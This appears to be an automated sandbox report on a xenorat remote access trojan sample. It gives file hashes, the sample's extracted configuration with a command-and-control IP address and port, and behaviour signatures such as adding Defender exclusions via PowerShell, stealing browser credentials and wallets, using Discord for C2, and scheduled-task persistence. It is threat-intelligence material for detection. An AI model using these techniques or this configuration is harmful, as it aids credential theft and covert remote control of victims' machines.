xenorat | a90ba5a56422c0d2a41f28da056affd69cc8929e14dcdab1583ec96b50b8e28d

Analysis

max time kernel
301s
max time network
303s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
02-07-2024 21:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

UnamBinder.exe
Size

9.4MB
MD5

70565dbd654937df2eaefc7c79941169
SHA1

5cb8daf1185704a9772f07dcec2e499149517715
SHA256

a90ba5a56422c0d2a41f28da056affd69cc8929e14dcdab1583ec96b50b8e28d
SHA512

64b89f77d6528c838c0288c59203455ea3318028816d4426f818c6b8c3258d8e5e13242b175d7b3402547cfd5a0acddb212b9f9b5bbf5d259cd4befc2d078a4c
SSDEEP

196608:g81oBGyk1BK5Gf01Up2GRlRaNqg4eS+wDjxx1ohqsIOGvuQdaQ:g46GykqGf5sGRT2qFP+GDAqkG2i

Score

10^/10

xenorat execution persistence privilege_escalation rat spyware stealer trojan upx

Malware Config

Extracted

Family

xenorat

37.120.141.155

Mutex

SteamUDP_FULL

Attributes

delay
5000
install_path
temp
port
22914
startup_name
SteamUDPUpdater

Signatures

XenorRat
XenorRat is a remote access trojan written in C#.
trojan rat xenorat
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

5800 powershell.exe
6812 powershell.exe

pid	process
5800	powershell.exe
6812	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

loader_fixed.exeSteamUDPUpdater.exeSteamUDPUpdater.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	loader_fixed.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	SteamUDPUpdater.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	SteamUDPUpdater.exe

Executes dropped EXE 15 IoCs

Processes:

windres.exegcc.execc1.exetcc.exewindres.exegcc.execc1.exetcc.exeloader_fixed.exeBuilt.exeloader.exeSteamUDPUpdater.exeBuilt.exeSteamUDPUpdater.exerar.exe

pid	process
7596	windres.exe
4832	gcc.exe
6096	cc1.exe
4648	tcc.exe
7456	windres.exe
3960	gcc.exe
7588	cc1.exe
2244	tcc.exe
5396	loader_fixed.exe
5280	Built.exe
1860	loader.exe
7700	SteamUDPUpdater.exe
2156	Built.exe
6920	SteamUDPUpdater.exe
3120	rar.exe

Loads dropped DLL 38 IoCs

Processes:

gcc.execc1.exetcc.exegcc.execc1.exetcc.exeBuilt.exe

pid	process
4832	gcc.exe
6096	cc1.exe
6096	cc1.exe
6096	cc1.exe
6096	cc1.exe
6096	cc1.exe
6096	cc1.exe
6096	cc1.exe
6096	cc1.exe
4648	tcc.exe
3960	gcc.exe
7588	cc1.exe
7588	cc1.exe
7588	cc1.exe
7588	cc1.exe
7588	cc1.exe
7588	cc1.exe
7588	cc1.exe
7588	cc1.exe
2244	tcc.exe
2156	Built.exe
2156	Built.exe
2156	Built.exe
2156	Built.exe
2156	Built.exe
2156	Built.exe
2156	Built.exe
2156	Built.exe
2156	Built.exe
2156	Built.exe
2156	Built.exe
2156	Built.exe
2156	Built.exe
2156	Built.exe
2156	Built.exe
2156	Built.exe
2156	Built.exe
2156	Built.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 44 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/2156-2360-0x00007FFAE9A20000-0x00007FFAE9E8E000-memory.dmp	upx
behavioral1/memory/2156-2363-0x00007FFAF8AC0000-0x00007FFAF8AE4000-memory.dmp	upx
behavioral1/memory/2156-2364-0x00007FFAFFDC0000-0x00007FFAFFDCF000-memory.dmp	upx
behavioral1/memory/2156-2383-0x00007FFAF8630000-0x00007FFAF8649000-memory.dmp	upx
behavioral1/memory/2156-2382-0x00007FFAF8A90000-0x00007FFAF8ABD000-memory.dmp	upx
behavioral1/memory/2156-2385-0x00007FFAE98A0000-0x00007FFAE9A11000-memory.dmp	upx
behavioral1/memory/2156-2384-0x00007FFAF8610000-0x00007FFAF862F000-memory.dmp	upx
behavioral1/memory/2156-2386-0x00007FFAF85F0000-0x00007FFAF8609000-memory.dmp	upx
behavioral1/memory/2156-2389-0x00007FFAF84B0000-0x00007FFAF8568000-memory.dmp	upx
behavioral1/memory/2156-2391-0x00007FFAE9A20000-0x00007FFAE9E8E000-memory.dmp	upx
behavioral1/memory/2156-2390-0x00007FFAE9520000-0x00007FFAE9895000-memory.dmp	upx
behavioral1/memory/2156-2388-0x00007FFAF8570000-0x00007FFAF859E000-memory.dmp	upx
behavioral1/memory/2156-2387-0x00007FFAFC510000-0x00007FFAFC51D000-memory.dmp	upx
behavioral1/memory/2156-2394-0x00007FFAF8B80000-0x00007FFAF8B8D000-memory.dmp	upx
behavioral1/memory/2156-2393-0x00007FFAF8490000-0x00007FFAF84A4000-memory.dmp	upx
behavioral1/memory/2156-2398-0x00007FFAE9400000-0x00007FFAE9518000-memory.dmp	upx
behavioral1/memory/2156-2397-0x00007FFAF8AC0000-0x00007FFAF8AE4000-memory.dmp	upx
behavioral1/memory/2156-2496-0x00007FFAF8610000-0x00007FFAF862F000-memory.dmp	upx
behavioral1/memory/2156-2506-0x00007FFAF8630000-0x00007FFAF8649000-memory.dmp	upx
behavioral1/memory/2156-2505-0x00007FFAE9400000-0x00007FFAE9518000-memory.dmp	upx
behavioral1/memory/2156-2501-0x00007FFAF84B0000-0x00007FFAF8568000-memory.dmp	upx
behavioral1/memory/2156-2500-0x00007FFAF8570000-0x00007FFAF859E000-memory.dmp	upx
behavioral1/memory/2156-2498-0x00007FFAF85F0000-0x00007FFAF8609000-memory.dmp	upx
behavioral1/memory/2156-2502-0x00007FFAE9520000-0x00007FFAE9895000-memory.dmp	upx
behavioral1/memory/2156-2497-0x00007FFAE98A0000-0x00007FFAE9A11000-memory.dmp	upx
behavioral1/memory/2156-2491-0x00007FFAE9A20000-0x00007FFAE9E8E000-memory.dmp	upx
behavioral1/memory/2156-2492-0x00007FFAF8AC0000-0x00007FFAF8AE4000-memory.dmp	upx
behavioral1/memory/2156-2566-0x00007FFAF8AC0000-0x00007FFAF8AE4000-memory.dmp	upx
behavioral1/memory/2156-2565-0x00007FFAE9A20000-0x00007FFAE9E8E000-memory.dmp	upx
behavioral1/memory/2156-2581-0x00007FFAE9A20000-0x00007FFAE9E8E000-memory.dmp	upx
behavioral1/memory/2156-2600-0x00007FFAF8610000-0x00007FFAF862F000-memory.dmp	upx
behavioral1/memory/2156-2609-0x00007FFAE9400000-0x00007FFAE9518000-memory.dmp	upx
behavioral1/memory/2156-2608-0x00007FFAF8B80000-0x00007FFAF8B8D000-memory.dmp	upx
behavioral1/memory/2156-2607-0x00007FFAF8490000-0x00007FFAF84A4000-memory.dmp	upx
behavioral1/memory/2156-2606-0x00007FFAE9520000-0x00007FFAE9895000-memory.dmp	upx
behavioral1/memory/2156-2605-0x00007FFAF84B0000-0x00007FFAF8568000-memory.dmp	upx
behavioral1/memory/2156-2604-0x00007FFAF8570000-0x00007FFAF859E000-memory.dmp	upx
behavioral1/memory/2156-2603-0x00007FFAFC510000-0x00007FFAFC51D000-memory.dmp	upx
behavioral1/memory/2156-2602-0x00007FFAF85F0000-0x00007FFAF8609000-memory.dmp	upx
behavioral1/memory/2156-2601-0x00007FFAE98A0000-0x00007FFAE9A11000-memory.dmp	upx
behavioral1/memory/2156-2599-0x00007FFAF8A90000-0x00007FFAF8ABD000-memory.dmp	upx
behavioral1/memory/2156-2598-0x00007FFAF8630000-0x00007FFAF8649000-memory.dmp	upx
behavioral1/memory/2156-2597-0x00007FFAF8AC0000-0x00007FFAF8AE4000-memory.dmp	upx
behavioral1/memory/2156-2596-0x00007FFAFFDC0000-0x00007FFAFFDCF000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

591 discord.com
592 discord.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

589 ip-api.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
591	discord.com
592	discord.com

flow	ioc
589	ip-api.com

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

5804 WMIC.exe
Enumerates processes with tasklist 1 TTPs 3 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exe

pid process

8112 tasklist.exe
7936 tasklist.exe
7656 tasklist.exe

pid	process
5804	WMIC.exe

pid	process
8112	tasklist.exe
7936	tasklist.exe
7656	tasklist.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exechrome.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.

System Information Discovery
T1082

Processes:

systeminfo.exe

pid process

4496 systeminfo.exe

pid	process
4496	systeminfo.exe

Kills process with taskkill 30 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
7908	taskkill.exe
1988	taskkill.exe
5540	taskkill.exe
1128	taskkill.exe
4764	taskkill.exe
7992	taskkill.exe
5192	taskkill.exe
3724	taskkill.exe
6332	taskkill.exe
7744	taskkill.exe
6868	taskkill.exe
2688	taskkill.exe
7876	taskkill.exe
1684	taskkill.exe
7136	taskkill.exe
2988	taskkill.exe
2548	taskkill.exe
1056	taskkill.exe
6124	taskkill.exe
7428	taskkill.exe
6092	taskkill.exe
5592	taskkill.exe
2016	taskkill.exe
1620	taskkill.exe
6160	taskkill.exe
6312	taskkill.exe
2312	taskkill.exe
8052	taskkill.exe
6952	taskkill.exe
5188	taskkill.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

chrome.exechrome.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133644277658842837"	chrome.exe

Modifies registry class 64 IoCs

Processes:

UnamBinder.exechrome.exechrome.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	UnamBinder.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0000000001000000ffffffff	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\MRUListEx = ffffffff	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	UnamBinder.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	UnamBinder.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	UnamBinder.exe
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0 = 4e00310000000000e25854a8100054656d7000003a0009000400efbecb58e7ace25854a82e00000088e10100000001000000000000000000000000000000613f2101540065006d007000000014000000	UnamBinder.exe
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{24CCB8A6-C45A-477D-B940-3382B9225668}\FFlags = "1092616257"	UnamBinder.exe
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg	UnamBinder.exe
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1	UnamBinder.exe
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3	UnamBinder.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2 = 3a001f44471a0359723fa74489c55595fe6b30ee260001002600efbe10000000e245e7cc47bcda0127f9e10855bcda014707baa8c3ccda0114000000	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	UnamBinder.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0 = 5600310000000000cb58e7ac12004170704461746100400009000400efbecb58e7ace25854a82e00000074e101000000010000000000000000000000000000006518b4004100700070004400610074006100000016000000	UnamBinder.exe
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	UnamBinder.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\NodeSlot = "4"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\FFlags = "1092616193"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	UnamBinder.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\MRUListEx = ffffffff	UnamBinder.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Generic"	UnamBinder.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = ffffffff	UnamBinder.exe
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	UnamBinder.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	UnamBinder.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	UnamBinder.exe
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	UnamBinder.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\MRUListEx = 00000000ffffffff	UnamBinder.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	UnamBinder.exe
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	UnamBinder.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\LogicalViewMode = "3"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	UnamBinder.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = 14001f80cb859f6720028040b29b5540cc05aab60000	UnamBinder.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\NodeSlot = "3"	UnamBinder.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 0100000000000000ffffffff	UnamBinder.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 0100000000000000ffffffff	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{24CCB8A6-C45A-477D-B940-3382B9225668}\LogicalViewMode = "2"	UnamBinder.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0000000001000000ffffffff	UnamBinder.exe
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupByKey:PID = "0"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 7800310000000000cb58e7ac1100557365727300640009000400efbe874f7748e25854a82e000000c70500000000010000000000000000003a00000000001e67c20055007300650072007300000040007300680065006c006c00330032002e0064006c006c002c002d0032003100380031003300000014000000	UnamBinder.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0\MRUListEx = ffffffff	UnamBinder.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\NodeSlot = "2"	UnamBinder.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a000000a000000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	UnamBinder.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	UnamBinder.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\IconSize = "48"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 19002f433a5c000000000000000000000000000000000000000000	UnamBinder.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{24CCB8A6-C45A-477D-B940-3382B9225668}\GroupByKey:FMTID = "{30C8EEF4-A832-41E2-AB32-E3C3CA28FD29}"	UnamBinder.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupView = "0"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\FFlags = "1"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 000000000200000001000000ffffffff	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic"	UnamBinder.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	UnamBinder.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exe

pid process

2380 schtasks.exe

pid	process
2380	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

chrome.exechrome.exepowershell.exepowershell.exepowershell.exepowershell.exeSteamUDPUpdater.exepowershell.exepowershell.exepowershell.exepowershell.exechrome.exe

pid	process
748	chrome.exe
748	chrome.exe
6196	chrome.exe
6196	chrome.exe
5800	powershell.exe
5800	powershell.exe
6528	powershell.exe
6528	powershell.exe
5800	powershell.exe
6528	powershell.exe
6812	powershell.exe
6812	powershell.exe
6812	powershell.exe
5468	powershell.exe
5468	powershell.exe
5468	powershell.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
7732	powershell.exe
7732	powershell.exe
7732	powershell.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
5364	powershell.exe
5364	powershell.exe
5364	powershell.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
7784	powershell.exe
7784	powershell.exe
7784	powershell.exe
1076	powershell.exe
1076	powershell.exe
1076	powershell.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6920	SteamUDPUpdater.exe
6316	chrome.exe
6316	chrome.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

UnamBinder.exechrome.exe

pid process

3948 UnamBinder.exe
7984 chrome.exe
